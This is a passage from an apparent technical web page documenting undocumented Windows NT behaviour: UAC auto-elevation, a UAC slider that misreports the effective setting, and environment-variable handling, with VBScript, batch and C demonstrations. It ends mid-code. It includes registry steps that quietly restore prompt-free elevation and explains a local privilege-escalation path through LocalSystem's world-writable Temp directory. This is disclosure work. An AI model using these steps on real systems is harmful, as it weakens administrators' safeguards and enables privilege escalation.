Valid HTML 4.01 Transitional Valid CSS Valid SVG 1.0

Me, myself & IT

Idiosyncrasies – Inconsistent, Odd, Surprising, Un(der)documented or Weird (Mis)behaviour of Microsoft® Windows NT

Purpose
Quirk № 0
Demonstration
Background Information
Quirk № 1
Background Information
Demonstration (Part 1)
Remediation
Demonstration (Part 2)
Demonstration (Part 3)
Demonstration (Part 4)
Quirk № 3
Demonstration
Exploit
Quirk № 4
Background Information
Demonstration (Part 1)
Remediation
Demonstration (Part 2)
Security Impact
Quirk № 8
Demonstration
Quirk № 14
Demonstration
Quirk № 16
Demonstration
Security Impact
MSRC Case 65060
Quirk № 17
Demonstration
Quirk № 41
Demonstration
Trivia

Purpose

Show interfaces, functions and components of Microsoft Windows NT which exhibit inconsistent, odd, surprising, undocumented or weird (mis)behaviour, i.e. idiosyncrasies and quirks.

Quirk № 0

User Account Protection was the preliminary name for a core security component of Windows Vista. The component has now been officially named User Account Control (UAC).
[Screen shot of default 'User Account Control Settings' from Windows 7] Windows Vista® introduced the security feature (really: security theatre) User Account Control – programs which need or want to be run with administrative privileges and access rights have to ask the user for consent.

This made some (really: a minority of) users quite angry – although these (rather braindead) users continued to abuse the (privileged) Protected Administrator account created during Windows Setup for their daily work (instead to follow best practise and use an unprivileged limited alias standard user account), they had to answer a prompt whenever they wanted to perform an administrative task.
Unfortunately Microsoft heard these users and weakened the security feature (really: security nightmare) – Windows 7 introduced auto-elevation and enabled it for some 55 programs shipped with Windows 7 and later versions, which don’t prompt for consent any more.

Due to flaws in the design and deficiencies in the implementation of User Account Control it can be bypassed trivially in numerous ways with its auto-elevation (mis)feature enabled. As result, arbitrary programs can then be run with administrative privileges and access rights without prompting the user for consent.
To defeat some of these trivial bypasses, auto-elevation must be disabled by moving the slider of the User Account Control setting to its highest position titled Always notify, as documented and shown in the MSKB articles 975787 and 4462938.

Caveat: the slider position displayed in the graphical user interface but does not always match the effective setting – it shows Always notify even if the default setting Notify me only when programs try to make changes to my computer is configured!

Demonstration

[Screen shot of 'Group Policy Object Editor' from Windows 7]
  1. Log on to the user Protected Administrator account created during Windows Setup.

  2. Start one of the programs which have auto-elevation enabled, for example NetPlWiz.exe, PrintUI.exe or WUSA.exe – they start without to prompt for consent.

  3. On a default installation of Windows 7 or later versions of Windows NT perform the following 9 simple steps. Open Control Panel, then User Accounts and click Change User Account Control setting, then move the slider to its highest position titled Always notify and click the OK button to apply the new setting.

  4. Run the command line "%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\GPEdit.msc" to start the Local Group Policy Editor snap-in of the Microsoft Management Console, or execute the command line "%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\SecPol.msc" to start the Local Security Policy snap-in, answer the prompt for consent, then open the Local Policies folder and the Security Options subfolder below it – the policy User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode is displayed as Prompt for consent on the secure desktop, properly matching the setting applied in step 3.

  5. Repeat step 2. – auto-elevating programs prompt for consent now.

  6. Start the Registry Editor RegEdit.exe, answer the prompt for consent, then open the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System and delete the DWORD registry entry ConsentPromptBehaviorAdmin present there.

  7. Repeat step 4. – the policy User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode is now properly displayed as Not Defined.

  8. Open Control Panel, then User Accounts and click Change User Account Control setting – the slider is still displayed in its highest position Always notify.

  9. Repeat step 2. – despite the unchanged slider position Always notify auto-elevating programs don’t prompt for consent any more!

OUCH: the slider is supposed to access and manage a setting, but abuses a registry entry reserved for a policy instead, it misinterprets the default policy value Not Defined and violates the more than 25 year old Designed for Windows guidelines!

Background Information

Windows NT supports the following evaluation order or hierarchy and rules for program defaults, settings, preferences and policies:
  1. Hard-coded program defaults are in effect only when neither a setting nor a preference nor a policy is present;
  2. User-specific settings are stored in the user’s registry, either as
    [HKEY_CURRENT_USER\Software\‹company›\‹application›]
    "‹setting›"=‹value›
    or as
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\‹application›]
    "‹setting›"=‹value›
  3. User-specific policies are stored in the user’s registry, either as
    [HKEY_CURRENT_USER\Software\Policies\‹company›\‹application›]
    "‹policy›"=‹value›
    or as
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\‹application›]
    "‹policy›"=‹value›
  4. System-wide settings alias preferences are stored in the machine’s registry, either as
    [HKEY_LOCAL_MACHINE\SOFTWARE\‹company›\‹application›]
    "‹setting›"=‹value›
    or as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\‹application›]
    "‹setting›"=‹value›
  5. System-wide policies are stored in the machine’s registry, either as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\‹company›\‹application›]
    "‹policy›"=‹value›
    or as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\‹application›]
    "‹policy›"=‹value›
  6. User-specific settings and policies take precedence over system-wide preferences and policies;
  7. Policies override preferences and settings;
  8. When a policy is present for a preference or setting, the (graphical) user interface displays the resulting effective setting, but restricts any change to it, and optionally displays a text that indicates the presence of a (overriding) policy as reason for this restriction;
  9. Policies are reserved for use by the (local) administrator, they MUST NOT be set by any other party, and can not be set by (unprivileged) users due to the access control lists of the policies’ registry keys!

Quirk № 1

The MSDN articles Environment Variables and User Environment Variables specify how environment variables are processed:
Every process has an environment block that contains a set of environment variables and their values. There are two types of environment variables: user environment variables (set for each user) and system environment variables (set for everyone).

By default, a child process inherits the environment variables of its parent process. […]

[…] To programmatically add or modify system environment variables, add them to the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment registry key, […]

Environment variables specify search paths for files, directories for temporary files, application-specific options, and other similar information. The system maintains an environment block for each user and one for the computer. The system environment block represents environment variables for all users of the particular computer. A user's environment block represents the environment variables the system maintains for that particular user, including the set of system environment variables.

By default, each process receives a copy of the environment block for its parent process. Typically, this is the environment block for the user who is logged on. […]

Both articles but fail to tell that two kinds of user environment variables exist, persistent and volatile, that volatile environment variables obscure persistent environment variables with the same name, how to add, modify or remove them, and where they are stored – persistent user environment variables are stored in the registry key HKEY_CURRENT_USER\Environment alias HKEY_USERS\‹security identifier›\Environment, while volatile user environment variables are stored in the (volatile) registry key HKEY_CURRENT_USER\Volatile Environment alias HKEY_USERS\‹security identifier›\Volatile Environment, where they are created during user logon and discarded when the user logs off.

The articles also fail to tell that user environment variables obscure system environment variables of the same name – with but four notable exceptions:

Thanks to the braindead (mis)behaviour listed last, privileged processes running under the user account NT AUTHORITY\SYSTEM alias LocalSystem use the public user-writable and therefore unsafe directory %SystemRoot%\Temp\ instead of their private and safe directory %USERPROFILE%\AppData\Local\Temp\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\, allowing unprivileged users to tamper with (executable) files created there by these privileged processes, eventually resulting in local escalation of privilege.

Note: see the Security Advisory ADV170017 for just one example of such a vulnerability.

Both articles also fail to tell that not all system environment variables are stored in the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment – the system environment variables ALLUSERSPROFILE, COMPUTERNAME, PROCESSOR_ARCHITEW6432, PUBLIC, CommonProgramFiles, CommonProgramFiles(x86), CommonProgramW6432, ProgramData, ProgramFiles, ProgramFiles(x86), ProgramW6432, SystemDrive and SystemRoot are created programmatically, similar to the volatile user environment variables created during user logon.

Note: they are but obscured by persistent system environment variables as well as persistent and volatile user environment variables with the same name stored in the registry keys shown above!

And last, both articles fail to mention the immutable dynamic system environment variables FIRMWARE_TYPE, NUMBER_OF_PROCESSORS, __APPDIR__ and __CD__ which are nowhere stored and not present in the process environment block, but evaluated upon expansion.

Note: they are not obscured by regular environment variables of the same name!

The MSDN article WOW64 Implementation Details states:

When a 32-bit process is created by a 64-bit process, or when a 64-bit process is created by a 32-bit process, WOW64 sets the environment variables for the created process as shown in the following table.

Process Environment variables
64-bit process PROCESSOR_ARCHITECTURE=AMD64 or PROCESSOR_ARCHITECTURE=IA64 or PROCESSOR_ARCHITECTURE=ARM64
ProgramFiles=%ProgramFiles%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles%
CommonProgramW6432=%CommonProgramFiles%
Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: The ProgramW6432 and CommonProgramW6432 environment variables were added starting with Windows 7 and Windows Server 2008 R2.
32-bit process PROCESSOR_ARCHITECTURE=x86
PROCESSOR_ARCHITEW6432=%PROCESSOR_ARCHITECTURE%
ProgramFiles=%ProgramFiles(x86)%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles(x86)%
CommonProgramW6432=%CommonProgramFiles%

Background Information

Windows 2000 relocated all user profiles from their previous directories %SystemRoot%\Profiles\%USERNAME%\ into new directories %SystemDrive%\Documents and Settings\%USERNAME%\.
It also introduced the user profile for the (privileged) user account NT AUTHORITY\SYSTEM alias LocalSystem in the new directory %SystemRoot%\System32\Config\SystemProfile\.

Note: its location was a rather braindead choice – it is subject to file system redirection on 64-bit editions of Windows NT, where two separate directories %SystemRoot%\System32\Config\SystemProfile\ and %SystemRoot%\SysWoW64\Config\SystemProfile\ exist!

The world-writable Temp directory %SystemRoot%\Temp\, shared by all users in previous versions of Windows NT, was replaced with separate private Temp directories %USERPROFILE%\Local Settings\Temp\ alias %SystemDrive%\Documents and Settings\%USERNAME%\Local Settings\Temp\ located within the user profiles – except for the LocalSystem user account, which continued (and still continues) to use the (still world-writable) directory %SystemRoot%\Temp\!

Windows XP added the (less privileged) user accounts NT AUTHORITY\LOCAL SERVICE alias LocalService and NT AUTHORITY\NETWORK SERVICE alias NetworkService, placed their user profiles in the directories %SystemDrive%\Documents and Settings\LocalService\ and %SystemDrive%\Documents and Settings\NetworkService\, set their user environment variables TEMP and TMP to %USERPROFILE%\Local Settings\Temp, and created a private Temp directory within both user profiles.

Windows Vista relocated these two service profiles to the new directories %SystemRoot%\ServiceProfiles\LocalService\ and %SystemRoot%\ServiceProfiles\NetworkService\, relocated all regular user profiles %SystemDrive%\Documents and Settings\%USERNAME%\ to the directories %SystemDrive%\Users\%USERNAME%\, but kept the profiles %SystemRoot%\System32\Config\SystemProfile\ and %SystemRoot%\SysWoW64\Config\SystemProfile\.
All user accounts except LocalSystem kept their private Temp directory, now %USERPROFILE%\AppData\Local\Temp\ alias %SystemDrive%\Users\%USERNAME%\AppData\Local\Temp\ for the regular user accounts and %SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Temp\ respectively %SystemRoot%\ServiceProfiles\NetworkService\AppData\Local\Temp\ for the service user accounts.

At least since Windows 7 the user environment variables TEMP and TMP are set in the LocalSystem user account too, despite the directory %USERPROFILE%\AppData\Local\Temp\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\ or %SystemRoot%\SysWoW64\Config\SystemProfile\AppData\Local\Temp\ is missing in its user profiles!

The MSDN article Profiles Directory provides additional information.

Demonstration (Part 1)

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk1.vbs with the following content in an arbitrary, preferable empty directory:

    Rem Copyright © 1999-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    With WScript.CreateObject("WScript.Shell")
        WScript.StdOut.WriteLine "Environment Variables"
    
        For Each strScope In Array("PROCESS", "SYSTEM", "USER", "VOLATILE")
            WScript.StdOut.WriteLine
            WScript.StdOut.WriteLine "Scope '" & strScope & "': " & .Environment(strScope).Count & " items"
    
            For Each strItem In .Environment(strScope)
                WScript.StdOut.WriteLine vbTab & strItem
            Next
        Next
    End With
  2. Execute the VBScript quirk1.vbs created in step 1. under the LocalSystem user account to list the environment variables of all scopes:

    CSCRIPT.EXE quirk1.vbs
    Microsoft (R) Windows Script Host, Version 5.812
    Copyright (C) Microsoft Corporation. All rights reserved.
    
    Environment Variables
    
    Scope 'PROCESS': 31 items
    	ALLUSERSPROFILE=C:\ProgramData
    	APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
    	CommonProgramFiles=C:\Program Files\Common Files
    	CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    	CommonProgramW6432=C:\Program Files\Common Files
    	COMPUTERNAME=AMNESIAC
    	ComSpec=C:\Windows\system32\cmd.exe
    	DriverData=C:\Windows\System32\Drivers\DriverData
    	LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
    	NUMBER_OF_PROCESSORS=4
    	OS=Windows_NT
    	Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
    	PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    	PROCESSOR_ARCHITECTURE=AMD64
    	PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    	PROCESSOR_LEVEL=6
    	PROCESSOR_REVISION=5e03
    	ProgramData=C:\ProgramData
    	ProgramFiles=C:\Program Files
    	ProgramFiles(x86)=C:\Program Files (x86)
    	ProgramW6432=C:\Program Files
    	PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
    	PUBLIC=C:\Users\Public
    	SystemDrive=C:
    	SystemRoot=C:\Windows
    	TEMP=C:\Windows\TEMP
    	TMP=C:\Windows\TEMP
    	USERDOMAIN=KANTHAK
    	USERNAME=AMNESIAC$
    	USERPROFILE=C:\Windows\system32\config\systemprofile
    	windir=C:\Windows
    
    Scope 'SYSTEM': 15 items
    	ComSpec=%SystemRoot%\system32\cmd.exe
    	DriverData=C:\Windows\System32\Drivers\DriverData
    	OS=Windows_NT
    	Path=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
    	PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    	PSModulePath=%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\
    	TEMP=%SystemRoot%\TEMP
    	TMP=%SystemRoot%\TEMP
    	USERNAME=SYSTEM
    	windir=%SystemRoot%
    	NUMBER_OF_PROCESSORS=4
    	PROCESSOR_ARCHITECTURE=AMD64
    	PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    	PROCESSOR_LEVEL=6
    	PROCESSOR_REVISION=5e03
    
    Scope 'USER': 3 items
    	PATH=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
    	TEMP=%USERPROFILE%\AppData\Local\Temp
    	TMP=%USERPROFILE%\AppData\Local\Temp
    
    Scope 'VOLATILE': 0 items
    Oops: although the user environment variables TEMP and TMP exist, the process environment variables TEMP and TMP were set from the system environment variables!
  3. Start the Command Processor Cmd.exe under the LocalSystem user account, then list all environment variables and (the contents of) the directory %LOCALAPPDATA%\ alias %USERPROFILE%\AppData\Local\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\ to determine whether a subdirectory Temp\ exists there:

    SET
    DIR /A "%LOCALAPPDATA%"
    ALLUSERSPROFILE=C:\ProgramData
    APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
    CommonProgramFiles=C:\Program Files\Common Files
    CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    CommonProgramW6432=C:\Program Files\Common Files
    COMPUTERNAME=AMNESIAC
    ComSpec=C:\Windows\system32\cmd.exe
    DriverData=C:\Windows\System32\Drivers\DriverData
    LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
    NUMBER_OF_PROCESSORS=4
    OS=Windows_NT
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 96 Stepping 3, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=5e03
    ProgramData=C:\ProgramData
    ProgramFiles=C:\Program Files
    ProgramFiles(x86)=C:\Program Files (x86)
    ProgramW6432=C:\Program Files
    PROMPT=$P$G
    PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
    PUBLIC=C:\Users\Public
    SystemDrive=C:
    SystemRoot=C:\Windows
    TEMP=C:\Windows\TEMP
    TMP=C:\Windows\TEMP
    USERDOMAIN=KANTHAK
    USERNAME=AMNESIAC$
    USERPROFILE=C:\Windows\system32\config\systemprofile
    windir=C:\Windows
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\system32\config\systemprofile\AppData\Local
    
    04/27/2019  08:15 PM    <DIR>          .
    04/27/2019  08:15 PM    <DIR>          ..
    04/27/2019  08:15 PM    <DIR>          Microsoft
                   0 File(s)              0 bytes
                   3 Dir(s)    9,876,543,210 bytes free
    Oops: a subdirectory Temp\ does not exist!
  4. Query the registry keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment, HKEY_USERS\S-1-5-18\Environment and HKEY_USERS\S-1-5-18\Volatile Environment to list the environment variables stored in the registry:

    REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
    REG.EXE QUERY "HKEY_USERS\S-1-5-18\Environment"
    REG.EXE QUERY "HKEY_USERS\S-1-5-18\Volatile Environment"
    Note: the MSKB article 243300 gives the well-known SID S-1-5-18 for the NT AUTHORITY\SYSTEM alias LocalSystem user account.
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
        ComSpec    REG_EXPAND_SZ    %SystemRoot%\system32\cmd.exe
        DriverData    REG_SZ    C:\Windows\System32\Drivers\DriverData
        OS    REG_SZ    Windows_NT
        Path    REG_EXPAND_SZ    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
        PATHEXT    REG_SZ    .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
        PROCESSOR_ARCHITECTURE    REG_SZ    AMD64
        PSModulePath    REG_EXPAND_SZ    %ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules
        TEMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
        TMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
        USERNAME    REG_SZ    SYSTEM
        windir    REG_EXPAND_SZ    %SystemRoot%
        NUMBER_OF_PROCESSORS    REG_SZ    4
        PROCESSOR_IDENTIFIER    REG_SZ    Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
        PROCESSOR_LEVEL    REG_SZ    6
        PROCESSOR_REVISION    REG_SZ    5e03
    
    HKEY_USERS\S-1-5-18\Environment
        Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
        TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
        TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    
    ERROR: The specified registry key or value was not found.
  5. Query the registry keys HKEY_CURRENT_USER\Environment and HKEY_CURRENT_USER\Volatile Environment of a standard user account for comparison:

    REG.EXE QUERY "HKEY_CURRENT_USER\Environment"
    REG.EXE QUERY "HKEY_CURRENT_USER\Volatile Environment" /S
    HKEY_CURRENT_USER\Environment
        Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
        TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
        TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    
    HKEY_CURRENT_USER\Volatile Environment
        LOGONSERVER    REG_SZ    \\AMNESIAC
        USERDOMAIN    REG_SZ    AMNESIAC
        USERNAME    REG_SZ    Stefan
        USERPROFILE    REG_SZ    C:\Users\Stefan
        HOMEPATH    REG_SZ    \Users\Stefan
        HOMEDRIVE    REG_SZ    C:
        APPDATA    REG_SZ    C:\Users\Stefan\AppData\Roaming
        LOCALAPPDATA    REG_SZ    C:\Users\Stefan\AppData\Local
        USERDOMAIN_ROAMINGPROFILE    REG_SZ    AMNESIAC
    
    HKEY_CURRENT_USER\Volatile Environment\1
        SESSIONNAME    REG_SZ    Console
        CLIENTNAME    REG_SZ    

Remediation

Create the missing directory %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\ (on 64-bit systems %SystemRoot%\SysWoW64\Config\SystemProfile\AppData\Local\Temp\ too), then start the program SystemPropertiesAdvanced.exe, click the button Environment Variables, replace the value %SystemRoot%\TEMP of the system environment variables TEMP and TMP with %USERPROFILE%\AppData\Local\Temp, save the changed settings and reboot the system.

Caveat: on 64-bit systems, the disjoint directories might cause surprising (mis)behaviour!

Demonstration (Part 2)

Perform the following 2 simple steps to show more misbehaviour.
  1. Create the text file quirk1.cmd with the following content in an arbitrary, preferable empty directory:

    REM Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    @IF NOT DEFINED SystemRoot EXIT /B
    @CHDIR /D "%SystemRoot%"
    @IF NOT EXIST "SysWoW64\cmd.exe" EXIT /B
    @FOR /F "Delims==" %%? IN ('SET') DO @SET "%%?="
    @SET SystemRoot=%CD%
    @IF EXIST "SysNative\cmd.exe" (
    "SysNative\cmd.exe" /D /C "SET & EXIT"
    ) ELSE (
    "SysWoW64\cmd.exe" /D /C "SET & CALL ""%~f0"" & PAUSE & EXIT"
    )
    @EXIT /B
  2. On a 64-bit system, start the batch script quirk1.cmd created in step 1. per double-click:

    REM Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    COMSPEC=C:\Windows\SysWoW64\cmd.exe
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
    PROMPT=$P$G
    SystemRoot=C:\Windows
    
    REM Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    COMSPEC=C:\Windows\system32\cmd.exe
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
    PROMPT=$P$G
    SystemRoot=C:\Windows
    
    Press any key to continue . . .
    OOPS: if one of the environment variables CommonProgramFiles, CommonProgramFiles(x86), ProgramFiles, ProgramFiles(x86) or PROCESSOR_ARCHITECTURE is not present in the environment block of the parent process, the derived environment variables CommonProgramFiles and CommonProgramW6432 respectively ProgramFiles and ProgramW6432 are not set in 64-bit processes started from a 32-bit process, while in 32-bit processes started from a 64-bit process the derived environment variables CommonProgramFiles, CommonProgramW6432, ProgramFiles, ProgramW6432 respectively PROCESSOR_ARCHITEW6432 as well as the inherited environment variable PROCESSOR_ARCHITECTURE are missing!

Demonstration (Part 3)

Perform the following simple step to show yet more misbehaviour.
  1. Start the Command Processor Cmd.exe, then execute the following command lines:

    SET NUMBER_OF_PROCESSORS=
    IF DEFINED NUMBER_OF_PROCESSORS SET NUMBER_OF_PROCESSORS
    ECHO %NUMBER_OF_PROCESSORS%
    SET NUMBER_OF_PROCESSORS=quirk
    SET NUMBER_OF_PROCESSORS
    ECHO %NUMBER_OF_PROCESSORS%
    IF DEFINED __APPDIR__ SET __APPDIR__
    ECHO %__APPDIR__%
    SET __APPDIR__=quirk
    SET __APPDIR__
    ECHO %__APPDIR__%
    IF DEFINED __CD__ SET __CD__
    ECHO %__CD__%
    SET __CD__=quirk
    SET __CD__
    ECHO %__CD__%
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Environment variable NUMBER_OF_PROCESSORS not defined!
    4
    NUMBER_OF_PROCESSORS=quirk
    4
    Environment variable __APPDIR__ not defined!
    C:\Windows\system32\
    __APPDIR__=quirk
    C:\Windows\system32\
    Environment variable __CD__ not defined
    C:\Users\Stefan\Desktop\
    __CD__=quirk
    C:\Users\Stefan\Desktop\
    OUCH¹: the undocumented (dynamic) environment variables NUMBER_OF_PROCESSORS, __APPDIR__ and __CD__ are both defined and not defined – they exhibit a quantum superposition like a qubit!

    OUCH²: a (regular) environment variable NUMBER_OF_PROCESSORS, __APPDIR__ or __CD__ shows two different values – again a quantum superposition!

    NOTE: the undocumented (dynamic) environment variables FIRMWARE_TYPE (introduced with Windows 8), NUMBER_OF_PROCESSORS, __APPDIR__ and __CD__ are created (read-only) deep down in the bowels of NTDLL.dll – they are evaluated by the Win32 functions ExpandEnvironmentStrings(), ExpandEnvironmentStringsForUser() and GetEnvironmentVariable() even if a regular environment variable of the same name exists in the process’ environment block!

Demonstration (Part 4)

Perform the following 18 (plus 4 optional) simple steps to show still more (mis)behaviour and 2 bugs.
  1. Create the text file quirk1.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <userenv.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szQuirk[] = {L"ALLUSERSPROFILE",
    		             L"APPDATA",
    		             L"CommonAppData",
    		             L"CommonProgramFiles",
    		             L"CommonProgramFiles(x86)",
    		             L"CommonProgramW6432",
    		             L"COMSPEC",
    		             L"DriverData",
    		             L"HOMEDRIVE",
    		             L"HOMEPATH",
    		             L"HOMESHARE",
    		             L"LOCALAPPDATA",
    		             L"OneDrive",
    		             L"PATH",
    		             L"ProgramData",
    		             L"ProgramFiles",
    		             L"ProgramFiles(x86)",
    		             L"ProgramW6432",
    		             L"PSModulePath",
    		             L"PUBLIC",
    		             L"SystemDrive",
    		             L"SystemRoot",
    		             L"TEMP",
    		             L"TMP",
    		             L"USERPROFILE",
    		             L"windir"};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError;
    	DWORD	dwQuirk = 0;
    	LPWSTR	lpQuirk;
    	LPWSTR	lpBlock;
    	HKEY	hk;
    	HANDLE	hToken;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    #ifndef QUIRKS
    		do
    			if (!SetEnvironmentVariable(szQuirk[dwQuirk], L""))
    				PrintConsole(hConsole,
    				             L"SetEnvironmentVariable() returned error %lu\n",
    				             dwError = GetLastError());
    		while (++dwQuirk < sizeof(szQuirk) / sizeof(*szQuirk));
    
    		lpBlock = GetEnvironmentStrings();
    
    		if (lpBlock == NULL)
    			PrintConsole(hConsole,
    			             L"GetEnvironmentStrings() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			for (lpQuirk = lpBlock;
    			     lpQuirk[0] != L'\0';
    			     lpQuirk[dwQuirk = wcslen(lpQuirk)] = L'\n', lpQuirk += ++dwQuirk)
    				continue;
    
    			if (!WriteConsole(hConsole, lpBlock, dwQuirk = lpQuirk - lpBlock, &dwError, NULL))
    				PrintConsole(hConsole,
    				             L"WriteConsole() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				if (dwError ^= dwQuirk)
    					dwError = ERROR_WRITE_FAULT;
    			//	else
    			//		dwError = ERROR_SUCCESS;
    
    			if (!FreeEnvironmentStrings(lpBlock))
    				PrintConsole(hConsole,
    				             L"FreeEnvironmentStrings() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    #else // QUIRKS
    #if QUIRKS == 3
    		dwError = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    		                       L"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment",
    #elif QUIRKS == 2
    		dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
    		                       L"Environment",
    #elif QUIRKS <= 1
    		dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
    		                       L"Volatile Environment",
    #else
    #error QUIRKS out of range from 0 to 3!
    #endif
    		                       REG_OPTION_RESERVED,
    		                       KEY_SET_VALUE,
    		                       &hk);
    
    		if (dwError != ERROR_SUCCESS)
    			PrintConsole(hConsole,
    			             L"RegOpenKeyEx() returned error %lu\n",
    			             dwError);
    		else
    		{
    			do
    			{
    				dwError = RegSetValueEx(hk,
    				                        szQuirk[dwQuirk],
    				                        0,
    				                        REG_SZ,
    #if QUIRKS == 0
    				                        NULL,
    				                        0);
    #else
    				                        L"",
    				                        sizeof(L""));
    #endif
    				if (dwError != ERROR_SUCCESS)
    					PrintConsole(hConsole,
    					             L"RegSetValueEx() returned error %lu\n",
    					             dwError);
    			}
    			while (++dwQuirk < sizeof(szQuirk) / sizeof(*szQuirk));
